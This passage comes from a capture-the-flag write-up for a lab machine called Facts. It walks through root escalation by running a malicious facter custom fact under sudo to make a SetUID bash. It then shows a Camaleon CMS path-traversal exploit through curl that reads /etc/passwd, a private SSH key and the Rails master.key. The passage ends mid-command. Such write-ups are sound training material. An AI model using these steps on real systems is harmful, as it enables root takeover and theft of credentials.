    uuid =&gt; "a1e91571-c013-49be-aa84-cf520de6efbf"
  },
  /dev/sda3 =&gt; {
    filesystem =&gt; "LVM2_member",
    parttype =&gt; "e6d6d379-f507-44c2-a23c-238f2a3df928",
    partuuid =&gt; "591a74e0-66a9-4b6f-8cc5-5232be19341f",
    size =&gt; "9.56 GiB",
    size_bytes =&gt; 10261364736,
    uuid =&gt; "RBL5TO-xZmr-OdNy-IbPG-bSd7-2ciV-wjssFC"
  }
}
path =&gt; /opt/.local/share/gem/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
processors =&gt; {
  cores =&gt; 2,
  count =&gt; 2,
  extensions =&gt; [
    "x86_64",
    "x86_64-v1",
    "x86_64-v2",
    "x86_64-v3"
  ],
  isa =&gt; "x86_64",
  models =&gt; [
    "AMD EPYC 7763 64-Core Processor",
    "AMD EPYC 7763 64-Core Processor"
  ],
  physicalcount =&gt; 1,
  speed =&gt; "2.45 GHz",
  threads =&gt; 1
}
ruby =&gt; {
  platform =&gt; "x86_64-linux-gnu",
  sitedir =&gt; "/usr/local/lib/site_ruby/3.3.0",
  version =&gt; "3.3.7"
}
ssh =&gt; {
  ecdsa =&gt; {
    fingerprints =&gt; {
      sha1 =&gt; "SSHFP 3 1 5f80ec0dca53d9634f2fdac8b0f1c209e9aa9073",
      sha256 =&gt; "SSHFP 3 2 823f2360b94b7620bde03b71d4f27c93f71f536ba8faface4f56bb5fd4e41598"
    },
    key =&gt; "AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=",
    type =&gt; "ecdsa-sha2-nistp256"
  },
  ed25519 =&gt; {
    fingerprints =&gt; {
      sha1 =&gt; "SSHFP 4 1 60da11a56c7a2a3db7d9a1c87150ba83b23372ce",
      sha256 =&gt; "SSHFP 4 2 7f28009f0ea5a836de1e0d98edcb37f6f895ab1910e97284d209010fde5f1330"
    },
    key =&gt; "AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK",
    type =&gt; "ssh-ed25519"
  },
  rsa =&gt; {
    fingerprints =&gt; {
      sha1 =&gt; "SSHFP 1 1 a536a7ec1d9da53515731158fda1c942c1acc533",
      sha256 =&gt; "SSHFP 1 2 33a5aeb8ee69ca093062443f4525e65a9a585e6612e8f401629f96397b4f5bfc"
    },
    key =&gt; "AAAAB3NzaC1yc2EAAAADAQABAAABgQC+xkTwFqUNFClhHoGrx2ce1vWJ+hbgmJJ4b9hUpVGOMe3AyY+h4mHpjB/rO21iG6b3e9HiB6A4LPG1lufrqY0Iv/lQdAyzPSyV9Oyy6VHi6wWcy5LUJYnoM6b0EWIZ92gfQHSeG6BV+IPYYVSL3nT9fR2oMSTltiElu+jdBguHehvYBPAyTP7xOEA6GgoGBdKqCBzVMsRIWAJanEA62jAEV66f5ALc0zk46E5zFG3oesDPQ2+ML7i8P5089NhlFq5kZST2Vc1vW+MnkR2TEWxLJASXtOnxrNN67LgzB7e0LIWekIL5zYar59okU2V3i3NTfUAYa1MjOEYJvaPhlbAx1NpmmD76NWjI3vLJNbBEbmgOPEJNGQ8RoYKBriIy1vFDR6s5SOYouF8UEdx/o+QaIpx9+mPNIbaij/gBlGnpq0iOYL9IvskxnOKhsQd0yhN+8wmTIP8ZkI7zUUuQBjX1hlGD4YGCsqRZLzJ23StySmIjABFVzNlE0viejCIOUL8=",
    type =&gt; "ssh-rsa"
  }
}
system_uptime =&gt; {
  days =&gt; 2,
  hours =&gt; 62,
  seconds =&gt; 225691,
  uptime =&gt; "2 days"
}
timezone =&gt; UTC
virtual =&gt; vmware
</span></code></pre></div></div>

<p>The version on Facts is 4.10.0:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">trivia@facts:~$</span><span class="w"> </span>facter <span class="nt">--version</span>
<span class="go">4.10.0
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">--help</code> is useful as well:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">trivia@facts:~$</span><span class="w"> </span>facter <span class="nt">--help</span>
<span class="go">Usage
=====

  facter [options] [query] [query] [...]

Options
=======
           [--color]                      Enable color output.
           [--no-color]                   Disable color output.
        -c [--config]                     The location of the config file.
           [--custom-dir]                 A directory to use for custom facts.
        -d [--debug]                      Enable debug output.
           [--external-dir]               A directory to use for external facts.
           [--hocon]                      Output in Hocon format.
        -j [--json]                       Output in JSON format.
        -l [--log-level]                  Set logging level. Supported levels are: none, trace, debug, info, warn, error, and fatal.
           [--no-block]                   Disable fact blocking.
           [--no-cache]                   Disable loading and refreshing facts from the cache
           [--no-custom-facts]            Disable custom facts.
           [--no-external-facts]          Disable external facts.
           [--no-ruby]                    Disable loading Ruby, facts requiring Ruby, and custom facts.
           [--trace]                      Enable backtraces for custom facts.
           [--verbose]                    Enable verbose (info) output.
           [--show-legacy]                Show legacy facts when querying all facts.
        -y [--yaml]                       Output in YAML format.
           [--strict]                     Enable more aggressive error reporting.
        -t [--timing]                     Show how much time it took to resolve each fact
           [--sequential]                 Resolve facts sequentially
           [--http-debug]                 Whether to write HTTP request and responses to stderr. This should never be used in production.
        -p [--puppet]                     Load the Puppet libraries, thus allowing Facter to load Puppet-specific facts.
        -v [--version]                    Print the version
           [--list-block-groups]          List block groups
           [--list-cache-groups]          List cache groups
        -h [--help]                       Help for all arguments
</span></code></pre></div></div>

<h4 id="exploit-1">Exploit</h4>

<p><code class="language-plaintext highlighter-rouge">--custom-dir</code> describes itself as “A directory to use for custom facts”. That seems like something I can abuse. How to do that is also documented in <a href="https://gtfobins.org/gtfobins/facter/">gtfobins</a>.</p>

<p><a href="https://github.com/puppetlabs/puppet-docs/blob/master/source/facter/2.4/custom_facts.markdown">This page</a> shows how to make a custom fact, and gives this example:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># hardware_platform.rb</span>

<span class="no">Facter</span><span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="s1">'hardware_platform'</span><span class="p">)</span> <span class="k">do</span>
  <span class="n">setcode</span> <span class="k">do</span>
    <span class="no">Facter</span><span class="o">::</span><span class="no">Core</span><span class="o">::</span><span class="no">Execution</span><span class="p">.</span><span class="nf">exec</span><span class="p">(</span><span class="s1">'/bin/uname --hardware-platform'</span><span class="p">)</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>In this example, the first line to add the <code class="language-plaintext highlighter-rouge">hardware_platform</code> fact to the framework happens at load time, and then the inner code running <code class="language-plaintext highlighter-rouge">uname</code> happens when that fact is invoked. To abuse this, I could just put malicious Ruby code in a file, and it will execute while looking for code that adds a fact. But it’s more func to create a legit fact.</p>

<p>Calling <code class="language-plaintext highlighter-rouge">facter</code> with no args will call every registered fact. Or I can pass a fact name.</p>

<p>I’ll create a fact at <code class="language-plaintext highlighter-rouge">/tmp/0xdf.rb</code>:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">Facter</span><span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="s1">'exploit'</span><span class="p">)</span> <span class="k">do</span>
  <span class="n">setcode</span> <span class="k">do</span>
    <span class="no">Facter</span><span class="o">::</span><span class="no">Core</span><span class="o">::</span><span class="no">Execution</span><span class="p">.</span><span class="nf">exec</span><span class="p">(</span><span class="s1">'touch /tmp/0xdf'</span><span class="p">)</span>
    <span class="s1">'Malicious fact has run'</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>I’ll have to make sure <code class="language-plaintext highlighter-rouge">facter</code> knows to load facts from <code class="language-plaintext highlighter-rouge">/tmp</code>, but then it runs:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">trivia@facts:~$</span><span class="w"> </span>facter <span class="nt">--custom-dir</span> /tmp/ exploit
<span class="go">Malicious fact has run
</span><span class="gp">trivia@facts:~$</span><span class="w"> </span>facter <span class="nt">--custom-dir</span> /tmp/ exploit
<span class="go">Malicious fact has run
</span><span class="gp">trivia@facts:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> /tmp/0xdf
<span class="go">-rw-rw-r-- 1 trivia trivia 0 May 30 16:39 /tmp/0xdf
</span></code></pre></div></div>

<p>It worked! It’s owned by trivia because I didn’t run it with <code class="language-plaintext highlighter-rouge">sudo</code>. I’ll remove <code class="language-plaintext highlighter-rouge">/tmp/0xdf</code> and run <code class="language-plaintext highlighter-rouge">facter</code> as root:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">trivia@facts:~$</span><span class="w"> </span><span class="nb">sudo </span>facter <span class="nt">--custom-dir</span> /tmp/ exploit
<span class="go">Malicious fact has run
</span><span class="gp">trivia@facts:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> /tmp/0xdf
<span class="go">-rw-r--r-- 1 root root 0 May 30 16:40 /tmp/0xdf
</span></code></pre></div></div>

<p>The new file is owned by root, showing arbitrary root execution. I’ll update the fact to have it create a SetUID / SetGID <code class="language-plaintext highlighter-rouge">bash</code>:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">Facter</span><span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="s1">'exploit'</span><span class="p">)</span> <span class="k">do</span>
  <span class="n">setcode</span> <span class="k">do</span>
    <span class="no">Facter</span><span class="o">::</span><span class="no">Core</span><span class="o">::</span><span class="no">Execution</span><span class="p">.</span><span class="nf">exec</span><span class="p">(</span><span class="s1">'rm /var/tmp/0xdf; cp /bin/bash /var/tmp/0xdf; chmod 6777 /var/tmp/0xdf'</span><span class="p">)</span>
    <span class="s1">'Malicious fact has run'</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>I’m using <code class="language-plaintext highlighter-rouge">/var/tmp</code> because <code class="language-plaintext highlighter-rouge">/tmp</code> is mounted with <code class="language-plaintext highlighter-rouge">nosuid</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">trivia@facts:~$</span><span class="w"> </span>mount | <span class="nb">grep</span> /tmp
<span class="go">tmpfs on /tmp type tmpfs (rw,nosuid,nodev,nr_inodes=1048576,inode64)
</span></code></pre></div></div>

<p>When I run it again, and now there’s a SetUID / SetGID <code class="language-plaintext highlighter-rouge">bash</code> that provides a shell as root (when run with <code class="language-plaintext highlighter-rouge">-p</code> to prevent dropping privs):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">trivia@facts:~$</span><span class="w"> </span>/var/tmp/0xdf <span class="nt">-p</span>
<span class="go">0xdf-5.2#
</span></code></pre></div></div>

<p>And I can get <code class="language-plaintext highlighter-rouge">root.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">0xdf-5.2# </span><span class="nb">cat </span>root.txt
<span class="go">a9723932************************
</span></code></pre></div></div>

<h2 id="beyond-root---alternative-foothold">Beyond Root - Alternative Foothold</h2>

<h3 id="cve-details">CVE Details</h3>

<p>NIST defines <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-46987">CVE-2024-46987</a> as:</p>

<blockquote>
  <p>Camaleon CMS is a dynamic and advanced content management system based on Ruby on Rails. A path traversal vulnerability accessible via MediaController’s download_private_file method allows authenticated users to download any file on the web server Camaleon CMS is running on (depending on the file permissions). This issue may lead to Information Disclosure. This issue has been addressed in release version 2.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.</p>
</blockquote>

<p>This is patched in 2.8.2. The vulnerable code from version 2.8.0 is in the <code class="language-plaintext highlighter-rouge">download_private_file</code> function on <a href="https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L27-L34">lines 27-34</a> of <code class="language-plaintext highlighter-rouge">media_controller.rb</code>:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="c1"># download private files</span>
      <span class="k">def</span> <span class="nf">download_private_file</span>
        <span class="n">cama_uploader</span><span class="p">.</span><span class="nf">enable_private_mode!</span>

        <span class="n">file</span> <span class="o">=</span> <span class="n">cama_uploader</span><span class="p">.</span><span class="nf">fetch_file</span><span class="p">(</span><span class="s2">"private/</span><span class="si">#{</span><span class="n">params</span><span class="p">[</span><span class="ss">:file</span><span class="p">]</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>

        <span class="n">send_file</span> <span class="n">file</span><span class="p">,</span> <span class="ss">disposition: </span><span class="s1">'inline'</span>
      <span class="k">end</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">fetch_file</code> is defined in either <code class="language-plaintext highlighter-rouge">camaleon_cms_local_uploader.rb</code> (<a href="https://github.com/owen2345/camaleon-cms/blob/2.8.0/app/uploaders/camaleon_cms_local_uploader.rb#L27-L31">lines 27-31</a>) or <code class="language-plaintext highlighter-rouge">camaleon_cms_aws_uploader.rb</code> (<a href="https://github.com/owen2345/camaleon-cms/blob/2.8.0/app/uploaders/camaleon_cms_aws_uploader.rb#L38-L44">lines 38-44</a>). Which one is used depends on if the CMS is configured to use local or AWS storage.</p>

<p>The updated function from <a href="https://github.com/owen2345/camaleon-cms/blob/2.8.2/app/controllers/camaleon_cms/admin/media_controller.rb#L27-L36">version 2.8.2</a> add a check:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="c1"># download private files</span>
      <span class="k">def</span> <span class="nf">download_private_file</span>
        <span class="n">cama_uploader</span><span class="p">.</span><span class="nf">enable_private_mode!</span>

        <span class="n">file</span> <span class="o">=</span> <span class="n">cama_uploader</span><span class="p">.</span><span class="nf">fetch_file</span><span class="p">(</span><span class="s2">"private/</span><span class="si">#{</span><span class="n">params</span><span class="p">[</span><span class="ss">:file</span><span class="p">]</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>

        <span class="k">return</span> <span class="n">render</span> <span class="ss">plain: </span><span class="n">helpers</span><span class="p">.</span><span class="nf">sanitize</span><span class="p">(</span><span class="n">file</span><span class="p">[</span><span class="ss">:error</span><span class="p">])</span> <span class="k">if</span> <span class="n">file</span><span class="p">.</span><span class="nf">is_a?</span><span class="p">(</span><span class="no">Hash</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">file</span><span class="p">[</span><span class="ss">:error</span><span class="p">].</span><span class="nf">present?</span>

        <span class="n">send_file</span> <span class="n">file</span><span class="p">,</span> <span class="ss">disposition: </span><span class="s1">'inline'</span>
      <span class="k">end</span>
</code></pre></div></div>

<p>This check intends to gracefully surface the error path introduced one layer down, in <code class="language-plaintext highlighter-rouge">fetch_file</code>. In 2.8.2, the local uploader <a href="https://github.com/owen2345/camaleon-cms/blob/master/app/uploaders/camaleon_cms_local_uploader.rb#L27-L33">gained</a> a <code class="language-plaintext highlighter-rouge">valid_folder_path?</code> guard at the top of <code class="language-plaintext highlighter-rouge">fetch_file</code>:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">def</span> <span class="nf">fetch_file</span><span class="p">(</span><span class="n">file_name</span><span class="p">)</span>
    <span class="k">return</span> <span class="p">{</span> <span class="ss">error: </span><span class="s1">'Invalid file path'</span> <span class="p">}</span> <span class="k">unless</span> <span class="n">valid_folder_path?</span><span class="p">(</span><span class="n">file_name</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">file_name</span> <span class="k">if</span> <span class="n">file_exists?</span><span class="p">(</span><span class="n">file_name</span><span class="p">)</span>

    <span class="p">{</span> <span class="ss">error: </span><span class="s1">'File not found'</span> <span class="p">}</span>
  <span class="k">end</span>
</code></pre></div></div>

<p>So when the controller now passes <code class="language-plaintext highlighter-rouge">"private/#{params[:file]}"</code> containing <code class="language-plaintext highlighter-rouge">../</code> segments, the uploader rejects it and returns <code class="language-plaintext highlighter-rouge">{ error: 'Invalid file path' }</code> instead of a file path.</p>

<p>However, no change was made to the AWS version. That’s the root of CVE-2026-1776, which became public after Facts’ release. Any deployment configured to use the S3 backend (like this box’s MinIO) doesn’t have a fix for the directory traversal. That’s <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-1776">CVE-2026-1776</a>:</p>

<blockquote>
  <p>Camaleon CMS versions 2.4.5.0 through 2.9.0, prior to commit f54a77e, contain a path traversal vulnerability in the AWS S3 uploader implementation that allows authenticated users to read arbitrary files from the web server’s filesystem. The issue occurs in the download_private_file functionality when the application is configured to use the CamaleonCmsAwsUploader backend. Unlike the local uploader implementation, the AWS uploader does not validate file paths with valid_folder_path?, allowing directory traversal sequences to be supplied via the file parameter. As a result, any authenticated user, including low-privileged registered users, can access sensitive files such as /etc/passwd. This issue represents a bypass of the incomplete fix for CVE-2024-46987 and affects deployments using the AWS S3 storage backend.</p>
</blockquote>

<h3 id="file-read">File Read</h3>

<h4 id="poc">POC</h4>

<p>I’ll start by showing that I can read arbitrary files over the directory traversal vulnerability.</p>

<p>I created the user 0xdf for the admin panel. I’ll login using <code class="language-plaintext highlighter-rouge">curl</code>. First I need to get the CSRF token from <code class="language-plaintext highlighter-rouge">/admin/login</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nv">AUTH</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-s</span> <span class="nt">-c</span> cookie.jar http://facts.htb/admin/login | <span class="nb">grep</span> <span class="nt">-oP</span> <span class="s1">'authenticity_token" value="\K[^"]+'</span><span class="si">)</span>
<span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">echo</span> <span class="nv">$AUTH</span>
<span class="go">vLLGEMLtslrmGNcW6-gAP8_YP8LDkDGri-jp4MEAPdtXcb3duGeb3IM45soauSNOtQ4IZpJN7PtpUjXOPCIKCw
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>cookie.jar 
<span class="c"># Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
</span><span class="go">
</span><span class="c">#HttpOnly_facts.htb     FALSE   /       FALSE   0       _factsapp_session       A4tbUX6mQNs6dIiFX3eHsZP5MH2Sx8vcREMjMWQY3rLOeEDV3HSrhbiFAFsxFazssIMSJ25DsNg%2BKWHPR2fkftObTBi8Rtjlr38tN%2BXfoG1aNSkmnLYGzVL19HXPc9b3rDKhcVCQGm5FLga4nW5lHKhCSoYcLmECAut1Z%2BRHLsqBmOiywZsKwPT%2Bsi2ZXNE7JD5%2FeUGoUUxoH8FNMpKFf8n%2FdFsNbHx0pM7WhB%2Bf2QRc%2F3HzA7Lu52mI2uIe9rlV1LAAyfpUgKWHUuho3HMMTrZGwXNWRpkLCQIAJ5LbqpojSGtnUg7CehWKprsk4V%2F6UT1jnSs%3D--a9Kb%2B0BpxzsQjmiZ--p%2B6yNI7PxHTO%2BXPEHts4dg%3D%3D
</span></code></pre></div></div>

<p>Any request without a <code class="language-plaintext highlighter-rouge">_factsapp_session</code> cookie also gets one set in the reply. Now I’ll login:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-b</span> cookie.jar <span class="nt">-c</span> cookie.jar http://facts.htb/admin/login <span class="nt">-d</span> <span class="s2">"authenticity_token=</span><span class="nv">$AUTH</span><span class="s2">"</span> <span class="nt">-d</span> <span class="s2">"user[username]=0xdf"</span> <span class="nt">-d</span> <span class="s2">"user[password]=0xdf"</span> <span class="nt">-d</span> <span class="s2">"commit=Login"</span>
</code></pre></div></div>

<p>Now that cookie jar allows me to access the admin page:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-s</span> http://facts.htb/admin <span class="nt">-b</span> cookie.jar | <span class="nb">grep</span> <span class="s2">"2.9.0"</span>
<span class="go">                &lt;b&gt;Version &lt;/b&gt;2.9.0
</span></code></pre></div></div>

<p>From there, I’ll do the directory traversal to reach <code class="language-plaintext highlighter-rouge">passwd</code>:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-s</span> http://facts.htb/admin/media/download_private_file?file<span class="o">=</span>../../../etc/passwd <span class="nt">-b</span> cookie.jar
<span class="go">root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:103:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:104:104::/nonexistent:/usr/sbin/nologin
uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin
tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false
</span></code></pre></div></div>

<p>I’ll note the users, trivia and william.</p>

<h4 id="find-webapp-filesystem-location">Find WebApp Filesystem Location</h4>

<p>I need to figure out where on the filesystem the FactsApp lives. <code class="language-plaintext highlighter-rouge">nginx</code> config isn’t helpful:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$ </span>curl <span class="nt">-s</span> http://facts.htb/admin/media/download_private_file?file<span class="o">=</span>../../../etc/nginx/sites-enabled/default <span class="nt">-b</span> cookie.jar
<span class="go">server {
        listen 80 default_server;
        listen [::]:80 default_server;

        if ($host != facts.htb) {
                rewrite ^ http://facts.htb/;
        }


        root /var/www/html;

        server_name _;

        location / {
                try_files $uri $uri/ =404;
        }

}
</span></code></pre></div></div>

<p>This shows the redirect to the hostname. I can guess at config file names, and find it at <code class="language-plaintext highlighter-rouge">facts.htb</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$ </span>curl <span class="nt">-s</span> http://facts.htb/admin/media/download_private_file?file<span class="o">=</span>../../../etc/nginx/sites-enabled/facts.htb <span class="nt">-b</span> cookie.jar
<span class="go">server {
    listen 80;
    server_name facts.htb;

</span><span class="c">    # Rails app
</span><span class="go">    location / {
        proxy_pass http://127.0.0.1:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

    location = /randomfacts/ {
        return 403;
    }

</span><span class="c">    # LocalStack S3 API (for dev thumbnails / file access)
</span><span class="go">    location /randomfacts/ {
        proxy_pass http://127.0.0.1:54321/randomfacts/;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_http_version 1.1;
        proxy_set_header Connection "";
        autoindex off;
    }

}
</span></code></pre></div></div>

<p>This shows a proxy to port 3000 on localhost, but doesn’t show the location of the application.</p>

<p>I am able to guess the location of the service file!</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-s</span> http://facts.htb/admin/media/download_private_file?file<span class="o">=</span>../../../etc/systemd/system/factsapp.service <span class="nt">-b</span> cookie.jar
<span class="go">[Unit]
Description=FactsApp Rails Service
After=ministack.service
Requires=ministack.service

[Service]
Type=simple
User=trivia
WorkingDirectory=/opt/factsapp
Environment="GEM_HOME=/opt/.local/share/gem"
Environment="BUNDLE_PATH=/opt/.local/share/gem"
Environment="PATH=/opt/.local/share/gem/:/usr/local/bin:/usr/bin:/bin"
ExecStart=/opt/.local/share/gem/bin/rails server -e production -b 127.0.0.1 -p 3000
Restart=on-failure

[Install]
WantedBy=multi-user.target
</span></code></pre></div></div>

<p>The app is in <code class="language-plaintext highlighter-rouge">/opt/factsapp</code>, and it’s running as the trivia user.</p>

<h4 id="ssh-keys">SSH Keys</h4>

<p><code class="language-plaintext highlighter-rouge">passwd</code> shows that trivia’s home directory is <code class="language-plaintext highlighter-rouge">/home/trivia</code>, and <code class="language-plaintext highlighter-rouge">factsapp.service</code> shows that the application runs as that user. I’ll check for SSH keys. <code class="language-plaintext highlighter-rouge">/home/trivia/.ssh/id_rsa</code> returns 404. I can grab the <code class="language-plaintext highlighter-rouge">authorized_keys</code> file:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-s</span> http://facts.htb/admin/media/download_private_file?file<span class="o">=</span>../../../home/trivia/.ssh/authorized_keys <span class="nt">-b</span> cookie.jar
<span class="go">ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICWYeZZS4gDH8+z1yn1hjRCpUfzY3RiH21fXq9qQIHqV 
</span></code></pre></div></div>

<p>It has a ED25519 key! I’ll check for that under the default name:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-s</span> http://facts.htb/admin/media/download_private_file?file<span class="o">=</span>../../../home/trivia/.ssh/id_ed25519 <span class="nt">-b</span> cookie.jar
<span class="go">-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAHW8s04W
...[snip]...
b4DSiCkcGuXvh28gzyxAsBnofoescym+OlJiA=
-----END OPENSSH PRIVATE KEY-----
</span></code></pre></div></div>

<p>I’ll crack that just like I did above, and get a shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ssh <span class="nt">-i</span> ~/keys/facts-trivia trivia@facts.htb
<span class="go">Enter passphrase for key '/home/oxdf/keys/facts-trivia':
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
...[snip]...
</span><span class="gp">trivia@facts:~$</span><span class="w">
</span></code></pre></div></div>

<h4 id="ruby-secrets">Ruby Secrets</h4>

<p>Knowing where the app is, I’ll get the <code class="language-plaintext highlighter-rouge">master_key</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-s</span> http://facts.htb/admin/media/download_private_file?file<span class="o">=</span>../../../opt/factsapp/config/master.key <span class="nt">-b</span> cookie.jar
<span class="go">b0650437b2208a9fab449fb92f67bc40
</span></code></pre></div></div>

<p>I’ll also grab <code class="language-plaintext highlighter-rouge">credentials.yml.enc</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-s</span> http://facts.htb/admin/media/download_private_file?file<span class="o">=</span>../../../opt/factsapp/config/credentials.yml.enc <span class="nt">-b</span> cookie.jar
